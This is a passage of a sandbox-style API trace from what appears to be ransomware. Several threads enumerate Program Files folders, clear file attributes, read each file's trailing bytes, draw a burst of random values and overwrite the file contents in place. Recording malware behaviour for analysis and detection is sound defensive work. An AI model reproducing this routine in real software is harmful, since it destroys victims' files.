	[0079.882] wcscat (in: _Dest=0x2d7d340, _Source="*" | out: _Dest="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\*") returned="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\*"
	[0079.882] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4747e20
	[0079.882] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\*", lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa755519f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacc38
	[0079.882] wcscmp (_String1=".", _String2=".") returned 0
	[0079.882] FindNextFileW (in: hFindFile=0x2dacc38, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa755519f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.882] wcscmp (_String1="..", _String2=".") returned 1
	[0079.882] wcscmp (_String1="..", _String2="..") returned 0
	[0079.882] FindNextFileW (in: hFindFile=0x2dacc38, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d8d47d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x89d8d47d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x89d8d47d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x90d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config_131491847713900000.json", cAlternateFileName="CONFIG~1.JSO")) returned 1
	[0079.882] wcscmp (_String1="Config_131491847713900000.json", _String2=".") returned 1
	[0079.882] wcscmp (_String1="Config_131491847713900000.json", _String2="..") returned 1
	[0079.882] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xea) returned 0x4752c10
	[0079.882] wcscpy (in: _Dest=0x4752c10, _Source="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}" | out: _Dest="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}") returned="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}"
	[0079.882] wcscat (in: _Dest=0x4752c10, _Source="\\" | out: _Dest="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\") returned="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\"
	[0079.882] wcscat (in: _Dest=0x4752c10, _Source="Config_131491847713900000.json" | out: _Dest="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Config_131491847713900000.json") returned="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Config_131491847713900000.json"
	[0093.313] GetFileAttributesW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Config_131491847713900000.json" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\config_131491847713900000.json")) returned 0x20
	[0093.313] SetFileAttributesW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Config_131491847713900000.json", dwFileAttributes=0x20) returned 1
	[0093.313] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Config_131491847713900000.json" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\config_131491847713900000.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b2c
	[0093.313] GetFileSizeEx (in: hFile=0x1b2c, lpFileSize=0x1e7bfa28 | out: lpFileSize=0x1e7bfa28*=37072) returned 1
	[0093.313] SetFilePointerEx (in: hFile=0x1b2c, liDistanceToMove=0x90cc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.313] ReadFile (in: hFile=0x1b2c, lpBuffer=0x1e7bf9ac, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e7bf9a8, lpOverlapped=0x0 | out: lpBuffer=0x1e7bf9ac*, lpNumberOfBytesRead=0x1e7bf9a8*=0x4, lpOverlapped=0x0) returned 1
	[0093.506] SetFilePointerEx (in: hFile=0x1b2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.506] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984af0
	[0093.506] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984cd0
	[0093.506] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984c08
	[0093.506] NtQuerySystemTime (in: CurrentTime=0x1e7bf988 | out: CurrentTime=0x1e7bf988*=132251868202440571) returned 0x0
	[0093.506] RtlRandom (in: Seed=0x1e7bf994 | out: Seed=0x1e7bf994) returned 0x8ee37483
	[0093.506] RtlRandom (in: Seed=0x1e7bf994 | out: Seed=0x1e7bf994) returned 0x2f808ba
	[0093.506] RtlRandom (in: Seed=0x1e7bf994 | out: Seed=0x1e7bf994) returned 0x83d4b11f
	[0093.506] RtlRandom (in: Seed=0x1e7bf994 | out: Seed=0x1e7bf994) returned 0xadd2529d
	[0093.506] RtlRandom (in: Seed=0x1e7bf994 | out: Seed=0x1e7bf994) returned 0xf8ac5cfd
	[0093.506] RtlRandom (in: Seed=0x1e7bf994 | out: Seed=0x1e7bf994) returned 0xda9cc1b4
	[0093.506] RtlRandom (in: Seed=0x1e7bf994 | out: Seed=0x1e7bf994) returned 0xd28ba66e
	[0093.506] RtlRandom (in: Seed=0x1e7bf994 | out: Seed=0x1e7bf994) returned 0x3d9eac31
	[0093.506] RtlRandom (in: Seed=0x1e7bf994 | out: Seed=0x1e7bf994) returned 0x7d812fa5
	[0093.506] RtlRandom (in: Seed=0x1e7bf994 | out: Seed=0x1e7bf994) returned 0x65b6a477
	[0093.506] RtlRandom (in: Seed=0x1e7bf994 | out: Seed=0x1e7bf994) returned 0xd21b25b5
	[0093.506] RtlRandom (in: Seed=0x1e7bf994 | out: Seed=0x1e7bf994) returned 0xb6195095
	[0093.506] RtlRandom (in: Seed=0x1e7bf994 | out: Seed=0x1e7bf994) returned 0xf0cf1f1a
	[0093.506] RtlRandom (in: Seed=0x1e7bf994 | out: Seed=0x1e7bf994) returned 0x3198dc93
	[0093.506] RtlRandom (in: Seed=0x1e7bf994 | out: Seed=0x1e7bf994) returned 0x3289c507
	[0093.506] RtlRandom (in: Seed=0x1e7bf994 | out: Seed=0x1e7bf994) returned 0x8cf92f18
	[0093.506] RtlRandom (in: Seed=0x1e7bf994 | out: Seed=0x1e7bf994) returned 0x46c35bb0
	[0093.506] RtlRandom (in: Seed=0x1e7bf994 | out: Seed=0x1e7bf994) returned 0xb4c9389
	[0093.506] RtlRandom (in: Seed=0x1e7bf994 | out: Seed=0x1e7bf994) returned 0xf2217c0a
	[0093.506] RtlRandom (in: Seed=0x1e7bf994 | out: Seed=0x1e7bf994) returned 0x13d1cbf
	[0093.506] RtlRandom (in: Seed=0x1e7bf994 | out: Seed=0x1e7bf994) returned 0x21200369
	[0093.506] RtlRandom (in: Seed=0x1e7bf994 | out: Seed=0x1e7bf994) returned 0xed3d362d
	[0093.506] RtlRandom (in: Seed=0x1e7bf994 | out: Seed=0x1e7bf994) returned 0xd458b438
	[0093.506] RtlRandom (in: Seed=0x1e7bf994 | out: Seed=0x1e7bf994) returned 0x6c36a0ce
	[0093.506] RtlRandom (in: Seed=0x1e7bf994 | out: Seed=0x1e7bf994) returned 0x36810c8d
	[0093.507] RtlRandom (in: Seed=0x1e7bf994 | out: Seed=0x1e7bf994) returned 0xb986e121
	[0093.507] RtlRandom (in: Seed=0x1e7bf994 | out: Seed=0x1e7bf994) returned 0xd9fdb32f
	[0093.507] RtlRandom (in: Seed=0x1e7bf994 | out: Seed=0x1e7bf994) returned 0x1fd33baa
	[0093.507] RtlRandom (in: Seed=0x1e7bf994 | out: Seed=0x1e7bf994) returned 0x252ef9e
	[0093.507] RtlRandom (in: Seed=0x1e7bf994 | out: Seed=0x1e7bf994) returned 0x6bd713fe
	[0093.507] RtlRandom (in: Seed=0x1e7bf994 | out: Seed=0x1e7bf994) returned 0x464bd826
	[0093.507] RtlRandom (in: Seed=0x1e7bf994 | out: Seed=0x1e7bf994) returned 0x6f4ddecd
	[0093.521] ReadFile (in: hFile=0x1b2c, lpBuffer=0x4887048, nNumberOfBytesToRead=0x90d0, lpNumberOfBytesRead=0x1e7bf984, lpOverlapped=0x0 | out: lpBuffer=0x4887048*, lpNumberOfBytesRead=0x1e7bf984*=0x90d0, lpOverlapped=0x0) returned 1
	[0093.556] SetFilePointerEx (in: hFile=0x1b2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.556] WriteFile (hFile=0x1b2c, lpBuffer=0x480d7f0, nNumberOfBytesToWrite=0x90d0, lpNumberOfBytesWritten=0x1e7bf980, lpOverlapped=0x0) 

Thread:
	id = 839
	os_tid = 0xfc8

	[0079.883] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8c) returned 0x4e31aa0
	[0079.883] wcscpy (in: _Dest=0x4e31aa0, _Source="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0"
	[0079.883] wcscat (in: _Dest=0x4e31aa0, _Source="\\" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\"
	[0079.883] wcscat (in: _Dest=0x4e31aa0, _Source="*" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*"
	[0079.883] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4758f00
	[0079.883] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*", lpFindFileData=0x4758f00 | out: lpFindFileData=0x4758f00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad638
	[0079.884] wcscmp (_String1=".", _String2=".") returned 0
	[0079.884] FindNextFileW (in: hFindFile=0x2dad638, lpFindFileData=0x4758f00 | out: lpFindFileData=0x4758f00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.889] wcscmp (_String1="..", _String2=".") returned 1
	[0079.889] wcscmp (_String1="..", _String2="..") returned 0
	[0079.889] FindNextFileW (in: hFindFile=0x2dad638, lpFindFileData=0x4758f00 | out: lpFindFileData=0x4758f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe4e47081, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe4e47081, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="WORKFL~1.TAR")) returned 1
	[0079.889] wcscmp (_String1="Workflow.Targets", _String2=".") returned 1
	[0079.889] wcscmp (_String1="Workflow.Targets", _String2="..") returned 1
	[0079.889] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xaa) returned 0x2d7d3f8
	[0079.889] wcscpy (in: _Dest=0x2d7d3f8, _Source="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0"
	[0079.889] wcscat (in: _Dest=0x2d7d3f8, _Source="\\" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\"
	[0079.889] wcscat (in: _Dest=0x2d7d3f8, _Source="Workflow.Targets" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets"
	[0092.561] GetFileAttributesW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\workflow.targets")) returned 0x20
	[0092.564] SetFileAttributesW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets", dwFileAttributes=0x20) returned 1
	[0092.564] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\workflow.targets"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x13ac
	[0092.564] GetFileSizeEx (in: hFile=0x13ac, lpFileSize=0x1e83f6f8 | out: lpFileSize=0x1e83f6f8*=4726) returned 1
	[0092.564] SetFilePointerEx (in: hFile=0x13ac, liDistanceToMove=0x1272, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.564] ReadFile (in: hFile=0x13ac, lpBuffer=0x1e83f67c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e83f678, lpOverlapped=0x0 | out: lpBuffer=0x1e83f67c*, lpNumberOfBytesRead=0x1e83f678*=0x4, lpOverlapped=0x0) returned 1
	[0092.575] SetFilePointerEx (in: hFile=0x13ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.575] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731ba0
	[0092.575] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731a88
	[0092.575] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731b50
	[0092.575] NtQuerySystemTime (in: CurrentTime=0x1e83f658 | out: CurrentTime=0x1e83f658*=132251868193065128) returned 0x0
	[0092.575] RtlRandom (in: Seed=0x1e83f664 | out: Seed=0x1e83f664) returned 0xacd056a1
	[0092.575] RtlRandom (in: Seed=0x1e83f664 | out: Seed=0x1e83f664) returned 0xbf3aaea1
	[0092.575] RtlRandom (in: Seed=0x1e83f664 | out: Seed=0x1e83f664) returned 0x37d71f66
	[0092.575] RtlRandom (in: Seed=0x1e83f664 | out: Seed=0x1e83f664) returned 0x912096c9
	[0092.575] RtlRandom (in: Seed=0x1e83f664 | out: Seed=0x1e83f664) returned 0x359efc78
	[0092.575] RtlRandom (in: Seed=0x1e83f664 | out: Seed=0x1e83f664) returned 0xf092f5bf
	[0092.575] RtlRandom (in: Seed=0x1e83f664 | out: Seed=0x1e83f664) returned 0x99a69992
	[0092.575] RtlRandom (in: Seed=0x1e83f664 | out: Seed=0x1e83f664) returned 0x9b480f10
	[0092.575] RtlRandom (in: Seed=0x1e83f664 | out: Seed=0x1e83f664) returned 0x1de2e4bf
	[0092.575] RtlRandom (in: Seed=0x1e83f664 | out: Seed=0x1e83f664) returned 0x1ae5f1f0
	[0092.575] RtlRandom (in: Seed=0x1e83f664 | out: Seed=0x1e83f664) returned 0x8b84e0ef
	[0092.575] RtlRandom (in: Seed=0x1e83f664 | out: Seed=0x1e83f664) returned 0x2ff80a98
	[0092.575] RtlRandom (in: Seed=0x1e83f664 | out: Seed=0x1e83f664) returned 0xea4cedf9
	[0092.575] RtlRandom (in: Seed=0x1e83f664 | out: Seed=0x1e83f664) returned 0xd812971b
	[0092.576] RtlRandom (in: Seed=0x1e83f664 | out: Seed=0x1e83f664) returned 0x1b8c893a
	[0092.576] RtlRandom (in: Seed=0x1e83f664 | out: Seed=0x1e83f664) returned 0x91d7518b
	[0092.576] RtlRandom (in: Seed=0x1e83f664 | out: Seed=0x1e83f664) returned 0x29570ec0
	[0092.576] RtlRandom (in: Seed=0x1e83f664 | out: Seed=0x1e83f664) returned 0xbc71d637
	[0092.576] RtlRandom (in: Seed=0x1e83f664 | out: Seed=0x1e83f664) returned 0xbe6f64b7
	[0092.576] RtlRandom (in: Seed=0x1e83f664 | out: Seed=0x1e83f664) returned 0xe179bd30
	[0092.576] RtlRandom (in: Seed=0x1e83f664 | out: Seed=0x1e83f664) returned 0x84f5c750
	[0092.576] RtlRandom (in: Seed=0x1e83f664 | out: Seed=0x1e83f664) returned 0x7efdf7f6
	[0092.576] RtlRandom (in: Seed=0x1e83f664 | out: Seed=0x1e83f664) returned 0x55c4b78
	[0092.576] RtlRandom (in: Seed=0x1e83f664 | out: Seed=0x1e83f664) returned 0xda85f4e0
	[0092.576] RtlRandom (in: Seed=0x1e83f664 | out: Seed=0x1e83f664) returned 0xe6e723a1
	[0092.576] RtlRandom (in: Seed=0x1e83f664 | out: Seed=0x1e83f664) returned 0x972b4596
	[0092.576] RtlRandom (in: Seed=0x1e83f664 | out: Seed=0x1e83f664) returned 0x8b1f2715
	[0092.576] RtlRandom (in: Seed=0x1e83f664 | out: Seed=0x1e83f664) returned 0xd8629788
	[0092.576] RtlRandom (in: Seed=0x1e83f664 | out: Seed=0x1e83f664) returned 0xf59bb17d
	[0092.576] RtlRandom (in: Seed=0x1e83f664 | out: Seed=0x1e83f664) returned 0xd0affba2
	[0092.576] RtlRandom (in: Seed=0x1e83f664 | out: Seed=0x1e83f664) returned 0x3fd05246
	[0092.576] RtlRandom (in: Seed=0x1e83f664 | out: Seed=0x1e83f664) returned 0x43986e64
	[0093.053] ReadFile (in: hFile=0x13ac, lpBuffer=0x51088c8, nNumberOfBytesToRead=0x1276, lpNumberOfBytesRead=0x1e83f654, lpOverlapped=0x0 | out: lpBuffer=0x51088c8*, lpNumberOfBytesRead=0x1e83f654*=0x1276, lpOverlapped=0x0) returned 1
	[0093.756] SetFilePointerEx (in: hFile=0x13ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.756] WriteFile (hFile=0x13ac, lpBuffer=0x51150d0, nNumberOfBytesToWrite=0x1276, lpNumberOfBytesWritten=0x1e83f650, lpOverlapped=0x0) 

Thread:
	id = 840
	os_tid = 0xa28

	[0079.890] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8c) returned 0x4e31b38
	[0079.890] wcscpy (in: _Dest=0x4e31b38, _Source="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5"
	[0079.890] wcscat (in: _Dest=0x4e31b38, _Source="\\" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\"
	[0079.890] wcscat (in: _Dest=0x4e31b38, _Source="*" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*"
	[0079.890] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x470eb18
	[0079.890] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*", lpFindFileData=0x470eb18 | out: lpFindFileData=0x470eb18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe795770f, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe795770f, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad6b8
	[0079.890] wcscmp (_String1=".", _String2=".") returned 0
	[0079.890] FindNextFileW (in: hFindFile=0x2dad6b8, lpFindFileData=0x470eb18 | out: lpFindFileData=0x470eb18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe795770f, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe795770f, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.890] wcscmp (_String1="..", _String2=".") returned 1
	[0079.890] wcscmp (_String1="..", _String2="..") returned 0
	[0079.890] FindNextFileW (in: hFindFile=0x2dad6b8, lpFindFileData=0x470eb18 | out: lpFindFileData=0x470eb18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51e286aa, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51e286aa, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x1c01, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="")) returned 1
	[0079.890] wcscmp (_String1="Workflow.Targets", _String2=".") returned 1
	[0079.891] wcscmp (_String1="Workflow.Targets", _String2="..") returned 1
	[0079.891] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xaa) returned 0x2d7d6d8
	[0079.891] wcscpy (in: _Dest=0x2d7d6d8, _Source="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5"
	[0079.891] wcscat (in: _Dest=0x2d7d6d8, _Source="\\" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\"
	[0079.891] wcscat (in: _Dest=0x2d7d6d8, _Source="Workflow.Targets" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets"
	[0092.554] GetFileAttributesW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.5\\workflow.targets")) returned 0x20
	[0092.557] SetFileAttributesW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets", dwFileAttributes=0x20) returned 0
	[0092.557] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.5\\workflow.targets"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.557] GetLastError () returned 0x5
	[0092.557] SetFileAttributesW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets", dwFileAttributes=0x20) returned 0
	[0092.557] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7d6d8) returned 1
	[0092.557] FindNextFileW (in: hFindFile=0x2dad6b8, lpFindFileData=0x470eb18 | out: lpFindFileData=0x470eb18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51e286aa, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51e286aa, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x21e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="")) returned 1
	[0092.558] wcscmp (_String1="Workflow.VisualBasic.Targets", _String2=".") returned 1
	[0092.558] wcscmp (_String1="Workflow.VisualBasic.Targets", _String2="..") returned 1
	[0092.558] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x4717b30
	[0092.558] wcscpy (in: _Dest=0x4717b30, _Source="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5"
	[0092.558] wcscat (in: _Dest=0x4717b30, _Source="\\" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\"
	[0092.558] wcscat (in: _Dest=0x4717b30, _Source="Workflow.VisualBasic.Targets" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets"
	[0092.558] GetFileAttributesW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.5\\workflow.visualbasic.targets")) returned 0x20
	[0092.558] SetFileAttributesW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets", dwFileAttributes=0x20) returned 0
